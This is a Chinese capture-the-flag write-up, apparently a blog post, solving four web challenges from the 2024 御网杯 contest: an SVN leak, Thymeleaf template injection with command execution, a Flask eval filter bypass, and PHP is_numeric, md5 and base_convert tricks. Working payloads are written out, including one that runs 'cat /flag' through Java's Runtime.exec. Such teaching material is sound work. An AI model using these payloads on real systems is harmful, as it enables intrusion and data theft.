2024御网杯web题解

Web

input_data

image

就是一个简单是svn泄露
image

直接在pristine/57/中即可找到
image

Admin

image
image

通过爆错和提示可以确定是Thymeleaf 模板注入命令执行
参考资料:
https://zhuanlan.zhihu.com/p/248416919
https://xz.aliyun.com/t/9826?u_atoken=b9d5b4c8f462ecf95b3441b560c7c2f1&u_asig=0a472f9217269846318181351e004c&time__1311=QqRx2iDtvx0Dlx%3DGkDRDjrp8D8Il3%2B5qx

爆破得到注入路径至于参数是我不断尝试网上资料的参数试出来的
image

image

对大括号进行编码
image

image

Payload:
?path=$%7Dnew java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("cat /flag").getInputStream()).next()%7D::x

Flask

附件如下
image

看其过滤
字母留了c并且可用数字
我们可以想到格式化字符,进行任意文件读取
"%c%c%c%c%c"%(47,102,108,97,103)
"%c%c%c%c%c" 是一个格式化字符串,它会被填充成五个字符。
对应的 ASCII 值 (47, 102, 108, 97, 103) 分别对应:
47 → /
102 → f
108 → l
97 → a
103 → g
格式化后结果是 "/flag"。

Payload:
?evalme="%c%c%c%c%c"%(47,102,108,97,103)

如此多的FLAG

image

查看源码

image

得到文件
访问后得到提示查看cookie
image

又得到一个新的文件名
!image

查看得源码
image

就是简单的一个X,Y先绕过一下(is_numeric()绕过和md5绕过)

image

后面Z这过滤的太多
但是我们能用 base_convert 函数
我们可以直接给Z赋值base_convert(55490343972,10,36)(),也就是phpinfo()
image

这里进行执行
但是我们要得到flag
但是有长度限制
image

我们只能进行变量覆盖
完成
image

从而得到flag
image

Payload:
?X=10001a&Y=0e807097110&Z=$f1ag=base_convert(727432,10,36)

posted @ 2024-11-01 20:45  DGhh  阅读(10)  评论(0编辑  收藏  举报